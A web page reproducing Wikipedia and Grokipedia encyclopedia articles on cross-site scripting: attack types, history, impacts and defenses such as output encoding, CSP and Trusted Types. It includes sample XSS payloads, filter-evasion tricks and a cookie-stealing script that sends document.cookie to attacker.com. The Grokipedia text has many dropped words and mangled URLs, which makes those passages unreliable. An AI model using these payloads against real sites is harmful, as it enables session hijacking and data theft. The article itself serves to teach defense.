Hubbry Logo
Cross-site scriptingCross-site scriptingMain
Open search
Cross-site scripting
Community hub
Cross-site scripting
logo
7 pages, 0 posts
0 subscribers
Be the first to start a discussion here.
Be the first to start a discussion here.
Contribute something
Cross-site scripting
Cross-site scripting
Cross-site scripting
View on Wikipedia
from Wikipedia

Cross-site scripting (XSS)[a] is a type of security vulnerability that can be found in some web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. XSS effects vary in range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner network.[1]

OWASP considers the term cross-site scripting to be a misnomer. It initially was an attack that was used for breaching data across sites, but gradually started to include other forms of data injection attacks.[2]

Background

[edit]
Main articles: Web security and Same-origin policy

Security on the web depends on a variety of mechanisms, including an underlying concept of trust known as the same-origin policy. This states that if content from one site (such as https://mybank.example1.com) is granted permission to access resources (like cookies etc.) on a web browser, then content from any URL with the same (1) URI scheme (e.g. ftp, http, or https), (2) host name, and (3) port number will share these permissions. Content from URLs where any of these three attributes are different will have to be granted permissions separately.[3]

Cross-site scripting attacks use known vulnerabilities in web-based applications, their servers, or the plug-in systems on which they rely. Exploiting one of these, attackers fold malicious content into the content being delivered from the compromised site. When the resulting combined content arrives at the client-side web browser, it has all been delivered from the trusted source, and thus operates under the permissions granted to that system. By finding ways of injecting malicious scripts into web pages, an attacker can gain elevated access-privileges to sensitive page content, to session cookies, and to a variety of other information maintained by the browser on behalf of the user. Cross-site scripting attacks are a case of code injection.

Microsoft security-engineers introduced the term "cross-site scripting" in January 2000.[4][non-primary source needed] The expression "cross-site scripting" originally referred to the act of loading the attacked, third-party web application from an unrelated attack-site, in a manner that executes a fragment of JavaScript prepared by the attacker in the security context of the targeted domain (taking advantage of a reflected or non-persistent XSS vulnerability). The definition gradually expanded to encompass other modes of code injection, including persistent and non-JavaScript vectors (including ActiveX, Java, VBScript, Flash, or even HTML scripts), causing some confusion to newcomers to the field of information security.[5]

XSS vulnerabilities have been reported and exploited since the 1990s. Prominent sites affected in the past include the social-networking sites Twitter[1] and Facebook.[6] Cross-site scripting flaws have since surpassed buffer overflows to become the most common publicly reported security vulnerability,[7] with some researchers in 2007 estimating as many as 68% of websites are likely open to XSS attacks.[8]

Types

[edit]

There is no single, standardized classification of cross-site scripting flaws, but most experts distinguish between at least two primary flavors of XSS flaws: non-persistent and persistent. Some sources further divide these two groups into traditional (caused by server-side code flaws) and DOM-based (in client-side code).

Non-persistent (reflected)

[edit]

The non-persistent (or reflected) cross-site scripting vulnerability is by far the most basic type of web vulnerability.[9] These holes show up when the data provided by a web client,[10] most commonly in HTTP query parameters (e.g. HTML form submission), is used immediately by server-side scripts to parse and display a page of results for and to that user, without properly sanitizing the content.[11]

Because HTML documents have a flat, serial structure that mixes control statements, formatting, and the actual content, any non-validated user-supplied data included in the resulting page without proper HTML encoding, may lead to markup injection.[9][11] A classic example of a potential vector is a site search engine: if one searches for a string, the search string will typically be redisplayed verbatim on the result page to indicate what was searched for. If this response does not properly escape or reject HTML control characters, a cross-site scripting flaw will ensue.[12]

A reflected attack is typically delivered via email or a neutral web site. The bait is an innocent-looking URL, pointing to a trusted site but containing the XSS vector. If the trusted site is vulnerable to the vector, clicking the link can cause the victim's browser to execute the injected script.

Persistent (or stored)

[edit]

The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read.[11]

For example, suppose there is a dating website where members scan the profiles of other members to see if they look interesting. For privacy reasons, this site hides everybody's real name and email. These are kept secret on the server. The only time a member's real name and email are in the browser is when the member is signed in, and they can't see anyone else's.

Suppose that Mallory, an attacker, joins the site and wants to figure out the real names of the people she sees on the site. To do so, she writes a script designed to run from other users' browsers when they visit her profile. The script then sends a quick message to her own server, which collects this information.

To do this, for the question "Describe your Ideal First Date", Mallory gives a short answer (to appear normal), but the text at the end of her answer is her script to steal names and emails. If the script is enclosed inside a <script> element, it won't be shown on the screen. Then suppose that Bob, a member of the dating site, reaches Mallory's profile, which has her answer to the First Date question. Her script is run automatically by the browser and steals a copy of Bob's real name and email directly from his own machine.

Persistent XSS vulnerabilities can be more significant than other types because an attacker's malicious script is rendered automatically, without the need to individually target victims or lure them to a third-party website. Particularly in the case of social networking sites, the code would be further designed to self-propagate across accounts, creating a type of client-side worm.[13]

The methods of injection can vary a great deal; in some cases, the attacker may not even need to directly interact with the web functionality itself to exploit such a hole. Any data received by the web application (via email, system logs, IM etc.) that can be controlled by an attacker could become an injection vector.

Server-side versus DOM-based vulnerabilities

[edit]

XSS vulnerabilities were originally found in applications that performed all data processing on the server side. User input (including an XSS vector) would be sent to the server, and then sent back to the user as a web page. The need for an improved user experience resulted in popularity of applications that had a majority of the presentation logic (maybe written in JavaScript) working on the client-side that pulled data, on-demand, from the server using AJAX.

As the JavaScript code was also processing user input and rendering it in the web page content, a new sub-class of reflected XSS attacks started to appear that was called DOM-based cross-site scripting. In a DOM-based XSS attack, the malicious data does not touch the web server. Rather, it is being reflected by the JavaScript code, fully on the client side.[14]

An example of a DOM-based XSS vulnerability is the bug found in 2011 in a number of jQuery plugins.[15] Prevention strategies for DOM-based XSS attacks include very similar measures to traditional XSS prevention strategies but implemented in JavaScript code and contained in web pages (i.e. input validation and escaping).[16] Some JavaScript frameworks have built-in countermeasures against this and other types of attack — for example AngularJS.[17]

Self-XSS

[edit]
Main article: Self-XSS

Self-XSS is a form of XSS vulnerability that relies on social engineering in order to trick the victim into executing malicious JavaScript code in their browser. Although it is technically not a true XSS vulnerability due to the fact it relies on socially engineering a user into executing code rather than a flaw in the affected website allowing an attacker to do so, it still poses the same risks as a regular XSS vulnerability if properly executed.[18]

Mutated XSS (mXSS)

[edit]

Mutated XSS happens when the attacker injects something that is seemingly safe but is rewritten and modified by the browser while parsing the markup. This makes it extremely hard to detect or sanitize within the website's application logic. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters on parameters to CSS font-family.

Preventive measures

[edit]

Contextual output encoding/escaping of string input

[edit]

There are several escaping schemes that can be used depending on where the untrusted string needs to be placed within an HTML document including HTML entity encoding, JavaScript escaping, CSS escaping, and URL (or percent) encoding.[19] Most web applications that do not need to accept rich data can use escaping to largely eliminate the risk of XSS attacks in a fairly straightforward manner.

Performing HTML entity encoding only on the five XML significant characters is not always sufficient to prevent many forms of XSS attacks, security encoding libraries are usually easier to use.[19]

Some web template systems understand the structure of the HTML they produce and automatically pick an appropriate encoder.[20][21]

Safely validating untrusted HTML input

[edit]

Many operators of particular web applications (e.g. forums and webmail) allow users to utilize HTML markup. When accepting HTML input from users (say, <b>very</b> large), output encoding (such as &lt;b&gt;very&lt;/b&gt; large) will not suffice since the user input needs to be rendered as HTML by the browser (so it shows as very large, instead of <b>very</b> large). Stopping an XSS attack when accepting HTML input from users is much more complex in this situation. Often, untrusted HTML input must be run through an HTML sanitization engine to ensure that it does not contain potentially malicious JavaScript code.

For example, if a user enters 

<span style="color: blue;">Hello world</span>
<script>alert("XSS")</script>

then the application processing the markup may allow the <span> but escape the script when the input is displayed: 

<span style="color: blue;">Hello world</span>
&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;

Many validations rely on parsing out (blacklisting) specific "at risk" HTML tags such as the <iframe>, <link>, and <script> tag, or by only allowing certain tags and removing or escaping others.

There are several issues with this approach, for example sometimes seemingly harmless tags can be left out which when utilized correctly can still result in an XSS

Another popular method is to strip user input of " and ' however this can also be bypassed as the payload can be concealed with obfuscation.

[edit]
Further information: HTTP cookie

Besides content filtering, other imperfect methods for cross-site scripting mitigation are also commonly used. One example is the use of additional security controls when handling cookie-based user authentication. Many web applications rely on session cookies for authentication between individual HTTP requests, and because client-side scripts generally have access to these cookies, simple XSS exploits can steal these cookies.[22] To mitigate this particular threat (though not the XSS problem in general), many web applications tie session cookies to the IP address of the user who originally logged in, then only permit that IP to use that cookie.[23] This is effective in most situations (if an attacker is only after the cookie), but obviously breaks down in situations where an attacker is behind the same NATed IP address or web proxy as the victim, or the victim is changing his or her mobile IP.[23]

[edit]
Main article: Http-only cookie

Another mitigation present in Internet Explorer (since version 6), Firefox (since version 2.0.0.5), Safari (since version 4), Opera (since version 9.5) and Google Chrome, is an HttpOnly flag which allows a web server to set a cookie that is unavailable to client-side scripts. While beneficial, the feature can neither fully prevent cookie theft nor prevent attacks within the browser.[24]

Disabling scripts

[edit]

While Web 2.0 and Ajax developers require the use of JavaScript,[25] some web applications are written to allow operation without the need for any client-side scripts.[26] This allows users, if they choose, to disable scripting in their browsers before using the application. In this way, even potentially malicious client-side scripts could be inserted unescaped on a page, and users would not be susceptible to XSS attacks.

Some browsers or browser plugins can be configured to disable client-side scripts on a per-domain basis. This approach is of limited value if scripting is allowed by default, since it blocks bad sites only after the user knows that they are bad, which is too late. Functionality that blocks all scripting and external inclusions by default and then allows the user to enable it on a per-domain basis is more effective. This has been possible for a long time in Internet Explorer (since version 4) by setting up its so called "Security Zones",[27] and in Opera (since version 9) using its "Site Specific Preferences".[28] A solution for Firefox and other Gecko-based browsers is the open source NoScript add-on which, in addition to the ability to enable scripts on a per-domain basis, provides some XSS protection even when scripts are enabled.[29]

The most significant problem with blocking all scripts on all websites by default is substantial reduction in functionality and responsiveness (client-side scripting can be much faster than server-side scripting because it does not need to connect to a remote server and the page or frame does not need to be reloaded).[30] Another problem with script blocking is that many users do not understand it, and do not know how to properly secure their browsers. Yet another drawback is that many sites do not work without client-side scripting, forcing users to disable protection for that site and opening their systems to vulnerabilities.[31] The Firefox NoScript extension enables users to allow scripts selectively from a given page while disallowing others on the same page. For example, scripts from example.com could be allowed, while scripts from advertisingagency.com that are attempting to run on the same page could be disallowed.[32]

Emerging defensive technologies

[edit]

Trusted types[33] changes Web APIs to check that values have been trademarked as trusted.  As long as programs only trademark trustworthy values, an attacker who controls a JavaScript string value cannot cause XSS.  Trusted types are designed to be auditable by blue teams.

Another defense approach is to use automated tools that will remove XSS malicious code in web pages, these tools use static analysis and/or pattern matching methods to identify malicious codes potentially and secure them using methods like escaping.[34]

[edit]
Main article: Same-site cookie

When a cookie is set with the SameSite=Strict parameter, it is stripped from all cross-origin requests. When set with SameSite=Lax, it is stripped from all non-"safe" cross-origin requests (that is, requests other than GET, OPTIONS, and TRACE which have read-only semantics).[35] The feature is implemented in Google Chrome since version 63 and Firefox since version 60.[36]

Notable incidents

[edit]

See also

[edit]

Footnotes

[edit]

References

[edit]

Further reading

[edit]
[edit]
Revisions and contributorsEdit on WikipediaRead on Wikipedia

Cross-site scripting

View on Grokipedia
from Grokipedia
Cross-site scripting (XSS) is a type of in web applications that allows attackers to inject malicious client-side scripts into web pages viewed by other users, enabling the execution of unauthorized code within the victim's browser as if it were part of the legitimate site. XSS vulnerabilities arise when web applications fail to properly sanitize or validate user-supplied input before including it in dynamically generated web content, such as , , or other client-side code. There are three primary types: stored XSS, where malicious scripts are persistently stored on the server (e.g., in a database) and served to users; reflected XSS, where the script is embedded in a malicious link or form input and reflected back immediately in the server's response; and , where the vulnerability occurs in client-side code that manipulates the without server involvement. The impacts of XSS can be severe, including the theft of sensitive information such as session cookies, login credentials, or ; to impersonate users; ; or redirection to sites, potentially affecting millions of users if exploited on popular sites. To prevent XSS, developers should implement output encoding to escape special characters in user input when rendering it in web pages, validate and sanitize inputs rigorously, use secure frameworks that automatically handle escaping, and deploy (CSP) headers to restrict the sources of scripts and other resources.

Introduction

Definition and Overview

Cross-site scripting (XSS) is a in web applications that enables attackers to inject malicious client-side scripts, typically , into content delivered to other users' browsers. When executed, these scripts run within the context of the trusted website, allowing the attacker to impersonate the user, steal sensitive data like or session tokens, or manipulate the page's content and behavior. This occurs because the injected code inherits the website's privileges, exploiting the trust users place in the site's domain. The core mechanism of XSS involves an attacker supplying malicious input through vectors such as web forms, URL parameters, or comment fields, which the application then processes and returns without adequate sanitization or output encoding. For instance, if user input is directly embedded into without escaping, the browser interprets the injected code as legitimate script. This execution bypasses the browser's , which normally restricts scripts from accessing resources outside their origin, thereby allowing cross-site interactions that would otherwise be blocked. A basic example payload, such as <script>alert('XSS')</script>, illustrates how unencoded input can trigger an alert dialog when reflected back to the victim. In contrast to server-side injection flaws like , which manipulate backend database queries to extract or alter data, XSS targets the client-side rendering and execution environment in the victim's browser, focusing on dynamic content manipulation rather than direct server access. XSS continues to be a leading web security threat, incorporated into the Top 10's Injection category due to its high incidence and impact. XSS remains a prevalent vulnerability in web applications.

Historical Development

The vulnerability now known as cross-site scripting (XSS) originated from issues with script inclusion in web applications during the late , where untrusted input could lead to the execution of malicious code in users' browsers. It was first formally documented in early 2000 by security engineers, who identified patterns of injected scripts crossing site boundaries in (IIS). This discovery was highlighted in the CERT Coordination Center's Advisory CA-2000-02, published on February 3, 2000, which described the issue as "cross-site scripting" due to code from one source being injected into pages from another. Initially termed "cross-site scripting" or abbreviated as CSS, the name caused confusion with Cascading Style Sheets, leading to the adoption of XSS as the standard acronym around to distinguish it clearly in security discussions. The Open Web Application Security Project () played a pivotal role in formalizing its recognition by including "Cross-Site Scripting (XSS) Flaws" as A4 in its inaugural Top 10 list released in 2003, emphasizing its prevalence among web vulnerabilities. Key publications further refined the understanding of XSS in the mid-2000s. In 2005, security researcher Amit Klein published "DOM Based Cross Site Scripting or XSS of the Third Kind," introducing DOM-based XSS as a distinct category alongside reflected and stored variants, highlighting client-side manipulation risks. This work influenced the establishment of CWE-79, "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')," by in its , first detailed around 2006 as a standardized identifier for the vulnerability class. By the mid-2010s, XSS attacks had evolved from basic proof-of-concept alerts to sophisticated exploits, such as and credential theft, leveraging advanced frameworks for greater impact. Despite mitigations, XSS remains persistent into 2025, driven by legacy codebases with unpatched libraries and emerging vectors in single-page applications (SPAs) that rely heavily on client-side rendering without adequate sanitization. Standardization efforts in the 2010s advanced browser-level defenses against XSS. The (W3C) introduced (CSP) in its Level 1 specification in 2012, evolving through subsequent levels to restrict script execution and mitigate injection risks, while the WHATWG's HTML Living Standard incorporated features like sandbox attributes and strict content-type enforcement starting around the same period to enhance cross-origin protections.

Types of Cross-Site Scripting

Reflected XSS

Reflected cross-site scripting (XSS) is a non-persistent variant of XSS where an attacker injects malicious scripts into a web application's input fields, such as URL parameters or form data, which the server then immediately echoes back in its HTTP response without any storage on the server. This type of attack exploits the lack of input validation and output encoding, allowing the injected script to be rendered and executed by the victim's browser as part of the legitimate page content. The mechanics of reflected XSS rely on the direct reflection of untrusted user input into the dynamic content of a . For instance, in a search functionality, an attacker might craft a URL like http://[example.com](/page/Example.com)/search?q=<script>alert([document](/page/Document).[cookie](/page/Cookie))</script>, where the query contains the . When the server processes this request and incorporates the q value into the response without proper escaping—such as placing it inside a <div> tag like <div>Search results for: <script>alert([document](/page/Document).[cookie](/page/Cookie))</script></div>—the browser interprets and executes the script during rendering. This immediate inclusion distinguishes reflected XSS from persistent forms, as the malicious code exists only in the transient response and does not persist in a database or other storage. Delivery of reflected XSS typically occurs through social engineering tactics that trick victims into interacting with maliciously crafted inputs. Common vectors include emails or messages containing deceptive links to legitimate-looking URLs with embedded payloads, error pages that reflect invalid inputs, and manipulated search result pages on vulnerable sites. For example, an attacker could distribute a link disguised as a news article, such as http://news-site.com/article?id=123&title=<img src=x onerror=alert(1)>, prompting the victim to click it and trigger the execution. Unlike stored XSS, which can affect multiple users via persistent content, reflected attacks require individual targeting and user action to deliver the tainted response. The execution flow begins when the victim's browser sends the HTTP request containing the attacker's input to the vulnerable application. The server, failing to sanitize or encode the input, embeds it directly into the response body, often within , JavaScript, or other executable contexts. Upon receiving the response, the browser parses and renders the page, executing the injected script in the security context of the originating domain, thereby granting access to sensitive data like or session . This process demands no server-side persistence but hinges on the victim's unwitting participation, making social engineering essential for successful exploitation. Detection of reflected XSS often involves observing whether user-supplied input is mirrored back unchanged or insufficiently sanitized in the server's output, a hallmark of vulnerable legacy applications using GET-based parameters for dynamic content generation. typically employs black-box techniques, such as submitting payloads like <script>alert(1)</script> or "><script>alert(1)</script> to input fields and checking if the response executes them, or using tools to scan for unencoded reflections in HTTP responses. Indicators include the presence of raw tags or in echoed content, particularly in error messages or query results, signaling inadequate output encoding. Key limitations of reflected XSS stem from its non-persistent nature, restricting impact to a single user per crafted request and requiring repeated delivery for broader reach. It affects only those who visit the malicious link, limiting scalability compared to stored variants, and is often mitigated by modern browsers' and content security policies, though attackers can attempt evasion through techniques like URL encoding (e.g., %3Cscript%3Ealert(1)%3C/script%3E) or HTML entity encoding to bypass basic filters.

Stored XSS

Stored XSS, also known as persistent XSS, occurs when an attacker injects malicious scripts into a server's data storage, such as a database, where the content is subsequently retrieved and included in web pages served to multiple users. This type of attack differs from non-persistent variants like reflected XSS, as the injected script remains stored indefinitely until removed. Common delivery vectors for stored XSS include areas of web applications that accept , such as comment sections in forums, blog posts, user profiles, or product review forms. For instance, an attacker might submit a like <script>document.location='http://attacker.com/steal?cookie='+document.[cookie](/page/Cookie)</script> in a forum comment, which the application stores without proper sanitization. The execution flow begins when the server fetches the stored malicious input and embeds it directly into dynamically generated pages without encoding. Upon page load in a victim's browser, the script executes within the of the trusted , potentially stealing session , keystrokes, or other sensitive data. This persistence amplifies the risks, as the malicious script impacts every user who views the affected content, potentially enabling self-propagating attacks resembling computer worms. A notable example is the 2005 Samy worm on , which used stored XSS in user profiles to add the attacker as a friend and replicate itself, infecting over one million users in under 20 hours. Such attacks are harder to detect because the stored input appears legitimate to the server. Historically, stored XSS was prevalent in early social platforms during the pre-2010s era, exploiting features like profile customizations and message boards to reach wide audiences. As of 2025, vulnerabilities persist in unpatched systems, particularly WordPress plugins, with multiple CVEs reported for stored XSS in plugins like WP Statistics and SureForms due to inadequate input validation.

DOM-based XSS

DOM-based cross-site scripting (DOM-based XSS) refers to a client-side in which code processes untrusted data from sources within the browser environment, such as URL fragments or local storage, and inserts it into the (DOM) without proper sanitization, enabling the execution of arbitrary scripts. This type of XSS bypasses server-side processing entirely, as the malicious payload is executed solely through browser-side manipulations. Common delivery vectors for DOM-based XSS include URL hash parameters (e.g., the portion after the # symbol), postMessage events from other windows, and client-side data stores like localStorage or sessionStorage. For example, an attacker might craft a URL with a tainted fragment, such as http://example.com/page.html#<img src=x onerror=alert(1)>, which the application's then reads and processes. Other vectors involve data propagated from browser APIs like document.referrer or event handlers that handle user-controlled inputs without validation. The execution flow begins with a source that captures attacker-controlled data, which is then propagated through JavaScript variables or functions to a sink—a DOM-modifying method or function that interprets the data as code. Sinks commonly include document.write(), element.innerHTML, eval(), and setTimeout() with string arguments, where unescaped input is parsed as HTML or . Unlike server-based XSS variants, this process requires no HTTP request to the server, occurring dynamically in the browser's runtime environment. Key differences from reflected and stored XSS lie in its exclusive reliance on client-side browser APIs, making it invisible to server-side logging and detection tools. DOM-based XSS is especially common in single-page applications (SPAs) built with frameworks like React or Angular, where dynamic DOM updates can inadvertently expose sinks to tainted data if sanitization is misconfigured. To test for DOM-based XSS, security professionals use tools like to intercept and manipulate client-side inputs, such as altering parameters or fragments to inject s. A representative example involves appending a to the hash, like http://example.com/page.html#<script>alert(document.domain)</script>, and verifying if a sink like innerHTML executes it without encoding. 's DOM Invader extension aids by injecting traceable canaries and tracing data flow to potential sinks in real-time.

javascript

// Vulnerable code example if (location.hash) { document.getElementById('content').innerHTML = location.hash.substring(1); } // Attacker URL: http://example.com/page.html#<script>alert(1)</script>

// Vulnerable code example if (location.hash) { document.getElementById('content').innerHTML = location.hash.substring(1); } // Attacker URL: http://example.com/page.html#<script>alert(1)</script>

This snippet demonstrates how location.hash serves as a source, propagating directly to the innerHTML sink, triggering script execution.

Specialized Variants

Self-XSS, or self cross-site scripting, occurs when a user inadvertently injects and executes malicious scripts on their own browser session, often through mechanisms like pasting code into the developer console or using bookmarklets. This variant typically poses low direct threat to the affected user but serves as a vector for social engineering attacks, where an attacker tricks the victim into executing the payload and then leverages it to target others, such as through phishing or credential theft. For instance, an attacker might convince a user to run a script via a fake support message, enabling session hijacking on shared devices. Mutated XSS (mXSS) arises from discrepancies in how browsers parse and interpret , allowing seemingly sanitized inputs to transform into executable scripts during client-side processing. A common example involves payloads using HTML entities, such as &lt;script&gt;, which mutate to <script> when handled in attribute contexts due to decoding differences across parsers. This hybrid form often blurs server-side and DOM-based boundaries: the server may output content that appears safe after sanitization, but the client's rendering engine alters it into a vulnerable state, bypassing defenses. To address this, the Living Standard was updated on May 20, 2025, mandating the escaping of < and > characters in attribute values during , significantly reducing mXSS risks in modern applications. Other hybrid variants include universal XSS (UXSS), which targets core flaws or extensions to achieve cross-origin script execution, independent of specific vulnerabilities. These are rare but high-impact, as they can affect all sites in the browser; for example, prototype pollution attacks manipulate object prototypes to inject properties that lead to XSS by altering global behaviors like sanitization functions. Such exploits have been demonstrated in browser extensions and runtime environments, enabling widespread compromise. In 2025, specialized XSS variants like mXSS and UXSS show increasing prevalence in third-party libraries, where inconsistent parsing across dependencies amplifies risks, with about 70% of tested applications containing flaws in external code.

Attack Mechanisms and Impacts

Execution Techniques

Attackers craft XSS payloads by employing various encoding techniques to obfuscate malicious code, such as encoding to hide within data URIs or , making it harder for filters to detect standard patterns. Polyglot payloads, designed to execute across multiple contexts like , , and CSS, further enhance versatility; for instance, a single string like javascript:alert(1) can trigger in href attributes, event handlers, or script tags depending on the injection point. Event handlers such as onerror or onload are commonly integrated into payloads to execute code upon specific browser events, like an image load failure, as in <img src=x onerror=alert(1)>. Delivery of these payloads often involves social engineering tactics, including emails that lure victims to click links embedding reflected XSS vectors in parameters. Malware can embed payloads directly into compromised client-side files, while supply-chain attacks compromise third-party resources; a notable example is the 2024 Polyfill.io incident, where attackers injected malicious into the widely used library, affecting over 100,000 websites and enabling unauthorized redirects and . To trigger execution, attackers bypass input filters using case variations like <ScRiPt> to evade case-sensitive regex patterns, null characters (%00) to truncate filtered strings, or alternative tags such as <svg onload=alert(1)> that mimic benign elements but support script execution. Post-exploitation tooling like the Browser Exploitation Framework () allows attackers to hook victim browsers via XSS, enabling actions such as session token theft through cookie access or keylogging via injected input event listeners. Payloads can chain with CSRF vulnerabilities to elevate privileges, where the XSS script reads and submits CSRF tokens to forge authenticated requests on the victim's behalf. In modern browsers, evasion techniques exploit features like WebSockets for cross-site hijacking, where an attacker intercepts messages over unsecured connections to inject scripts, or Service Workers for persistent execution by hijacking registration via , allowing background script control even after page unload.

Consequences for Users and Systems

Cross-site scripting (XSS) attacks pose severe risks to individual users by enabling attackers to hijack sessions through the theft of or tokens, allowing unauthorized access to personal accounts. This can lead to account takeovers, where attackers impersonate users and perform actions on their behalf, such as transferring funds or altering profiles. Additionally, attackers often deploy elements, like fake login forms, to capture credentials directly from unsuspecting users, exacerbating . Page defacement, where malicious content alters visible elements such as injecting offensive material or misleading information, further erodes user privacy and experience. At the system level, XSS facilitates , where injected scripts transmit sensitive information—like user profiles or financial details—to attacker-controlled servers without detection. distribution occurs through drive-by downloads, automatically executing harmful payloads that compromise devices or networks. within web applications is another critical effect, as attackers exploit stolen sessions to gain elevated access, potentially modifying backend data or deploying persistent threats. Organizations face substantial risks from XSS, including when attackers deface sites or expose user data, leading to loss of consumer confidence. Financial losses arise from fraudulent transactions enabled by hijacked accounts or stock price fluctuations following publicized breaches. Compliance violations, such as breaches of GDPR or PCI-DSS, can result in hefty fines for failing to protect user data adequately. In broader ecosystems, XSS worms propagate rapidly through social networks by self-replicating via user interactions, infecting thousands of profiles and amplifying reach across connected users. Supply-chain compromises, where vulnerable third-party scripts are exploited, extend these attacks to interdependent services, magnifying impacts on multiple organizations. Recent data underscores the scale: Microsoft's Security Response Center triaged nearly 1,000 XSS cases since January 2024, representing 15% of important or critical vulnerabilities handled from July 2024 to July 2025, with over $912,000 in bounties awarded to mitigate them. Over the long term, repeated XSS incidents erode trust in web platforms, particularly in and , where users hesitate to engage due to fears of data exposure, resulting in sustained declines and erosion.

Prevention and Mitigation

Server-Side Protections

Server-side protections against cross-site scripting (XSS) primarily focus on validating and sanitizing user inputs at the point of entry, encoding outputs in context-specific ways to neutralize potential scripts, and ensuring safe data storage to prevent persistent injection. These measures form the first line of defense by addressing vulnerabilities during server processing, complementing client-side techniques in a layered approach. Input validation on the server involves scrutinizing all untrusted before it is processed, using whitelisting to accept only expected formats and rejecting anomalies that could introduce scripts. For instance, when validating addresses, a like ^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$ ensures only permitted characters are allowed, blocking tags such as <script>. dangerous patterns, like <script> or javascript:, provides a secondary check but is less reliable due to evasion techniques, so it should complement whitelisting. normalizes inputs by decoding multiple encodings (e.g., converting %3C back to < before validation) to detect and block obfuscated payloads. These practices must occur server-side to avoid bypass via disabled JavaScript. Output encoding transforms untrusted data into safe representations based on the insertion context, preventing browsers from interpreting it as executable code. In HTML content, characters like < are escaped as &lt;, > as &gt;, and & as &amp; to avoid tag formation. For , additional escaping applies, such as quoting values and encoding quotes inside them (e.g., " becomes &quot;). contexts require hexadecimal escaping, like < as \x3c, while URLs use percent-encoding, such as < as %3C. Built-in functions like PHP's htmlspecialchars() handle basic HTML escaping, but libraries such as OWASP ESAPI provide comprehensive contextual encoders for multiple languages and scenarios. Sanitization tools further enhance protection by parsing and stripping unsafe elements from HTML inputs while preserving legitimate content. HTML Purifier, a PHP library, uses a whitelist of allowed tags and attributes to filter user-generated HTML, removing or neutralizing potential XSS vectors like malicious scripts or event handlers. For example, it converts <script>alert('XSS')</script> to without execution, ensuring standards compliance. This approach is particularly useful for rich text inputs in systems. For database handling in stored XSS scenarios, prepared statements parameterize queries to safely store user data without interpreting it as code, preventing injection during insertion (though they primarily mitigate , they support XSS prevention by isolating data). Content-aware storage, such as rendering Markdown inputs server-side before persistence, avoids storing raw executable HTML. Upon retrieval, data must still undergo output encoding to block execution during display. As of 2025, server-side protections increasingly integrate AI-powered scanners for dynamic validation in architectures, where tools like Escape DAST or CodeAnt AI automatically detect and flag XSS patterns in real-time inputs and code flows during pipelines. These scanners analyze traffic and code for anomalies, such as unescaped outputs, providing proactive remediation in distributed environments.

Client-Side Protections

Client-side protections against cross-site scripting (XSS) focus on browser and mechanisms that detect, neutralize, or block malicious script execution after content delivery. These defenses operate at the runtime level within the user's browser, emphasizing safe coding practices in and leveraging built-in browser behaviors to prevent injected code from executing. While not a substitute for server-side validation, which serves as a complementary layer by sanitizing inputs before transmission, client-side measures enhance resilience against DOM-based and other post-delivery exploits. A foundational approach involves using safe (DOM) APIs to avoid direct insertion of untrusted data into executable contexts. For instance, developers should prefer textContent or createTextNode over innerHTML to insert user input, as the former treats content as plain text without parsing HTML tags, thereby preventing script execution. Similarly, dangerous functions like eval(), setTimeout() with string arguments, or setInterval() must be avoided, as they can execute arbitrary code from untrusted sources; instead, use functional forms such as setTimeout(callback, delay). These practices, rooted in JavaScript's native APIs, reduce the risk of DOM-based XSS by ensuring untrusted data remains inert. In modern single-page applications (SPAs), frameworks automate much of this: React employs auto-escaping in JSX, converting potentially malicious content to escaped strings before rendering to block injection attacks. Client-side input validation in provides an additional barrier, though it should not be relied upon exclusively due to its bypassability via browser developer tools or malicious scripts. Techniques include runtime type checks, such as verifying typeof variable === 'string' before DOM insertion, to ensure data matches expected formats and prevent unexpected object coercion that could lead to execution. Browser extensions like offer user-configurable script blocking, disabling execution on untrusted sites by default and whitelisting only verified domains, which effectively neutralizes XSS payloads dependent on script activation. Framework-specific best practices further strengthen these defenses: Angular's strict HTML parsing and built-in sanitization engine automatically strip or neutralize dangerous elements like <script> tags from bound data, while uses automatic HTML escaping via textContent for template bindings and recommends sanitization libraries for v-html directives to mitigate risks from raw HTML rendering. Despite these advancements, client-side protections face limitations in , particularly in SPAs integrating third-party widgets, where supply-chain vulnerabilities can introduce XSS vectors. For example, a DOM-based XSS flaw in the EqualWeb widget affected numerous sites, highlighting ongoing risks from unvetted external components that bypass local safeguards. To address such gaps, emphasis has shifted toward runtime monitoring tools that observe execution in real-time, detecting anomalous behaviors like unexpected DOM mutations or script injections during user sessions, as seen in solutions like TrustyMon for proactive violation reporting. These measures underscore the need for layered defenses, combining coding hygiene with vigilant oversight to counter evolving threats.

Advanced and Emerging Techniques

Content Security Policy (CSP) is an HTTP response header that allows web developers to control the resources a browser is permitted to load for a given page, thereby mitigating XSS attacks by restricting the execution of unauthorized scripts. For instance, the directive script-src 'self' limits script loading to the same origin, while CSP Level 2 introduces nonces—random, one-time tokens—and cryptographic hashes to permit only specific inline scripts, effectively blocking most inline JavaScript injections. CSP Level 3 introduces the report-to directive, providing more flexible and centralized reporting mechanisms for policy violations, enabling proactive monitoring of potential XSS attempts. Cookie security attributes provide a complementary layer of defense by limiting access to sensitive data. The HttpOnly flag prevents client-side scripts from reading session cookies, thwarting theft during XSS exploits, while the Secure flag ensures cookies are transmitted only over to avoid interception. Additionally, the SameSite attribute, with values like Strict or Lax, restricts cookies from being sent in cross-site requests, reducing the risk of in reflected or stored XSS scenarios. In 2025, browser and specification updates have introduced targeted defenses against advanced XSS variants. The Living Standard was updated on May 20, 2025, to automatically escape < and > characters in attribute values during DOM serialization, addressing mutation XSS (mXSS) where attackers exploit parsing discrepancies to inject tags. Complementing this, the Trusted Types API, now widely supported in modern browsers, enforces type-safe handling of DOM sinks like innerHTML, requiring developers to create and use "trusted" objects for insertions, which prevents unvalidated strings from executing as code. Subresource Integrity (SRI) enhances protection for third-party scripts by requiring browsers to verify the integrity of loaded resources using cryptographic hashes specified in the integrity attribute, such as <script src="example.js" integrity="sha256-...">, thereby preventing tampering that could introduce XSS payloads. 